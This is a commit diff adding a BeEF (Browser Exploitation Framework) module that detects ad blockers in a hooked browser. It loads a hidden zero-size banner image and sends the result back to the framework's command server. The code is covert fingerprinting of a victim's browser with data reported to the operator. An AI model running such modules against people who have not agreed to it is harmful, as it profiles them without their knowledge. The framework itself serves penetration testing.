Added simple adblock checks for IE from issue #803

modules/browser/detect_simple_adblock/command.js

@@ -0,0 +1,40 @@
+// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+
+	if (document.getElementById('adblock_img')) {
+		return "Img already created";
+	}
+
+	var img = new Image();
+	img.setAttribute("style","visibility:hidden");
+	img.setAttribute("width","0");
+	img.setAttribute("height","0");
+	img.src = 'http://simple-adblock.com/adblocktest/files/adbanner.gif';
+	img.id = 'adblock_img';
+	img.setAttribute("attr","start");
+	img.onerror = function() {
+		this.setAttribute("attr","error");
+	};
+	img.onload = function() {
+		this.setAttribute("attr","load");
+	};
+
+	document.body.appendChild(img);
+
+	setTimeout(function() {
+		var img = document.getElementById('adblock_img');	
+		if (img.getAttribute("attr") == "error") {
+			beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Adblock returned an error');
+		} else if (img.getAttribute("attr") == "load") {
+			beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Adblock is disabled or not installed');
+		} else if (img.getAttribute("attr") == "start") {
+			beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Adblock is enabled');
+		};
+		document.body.removeChild(img);
+		}, 10000);
+
+});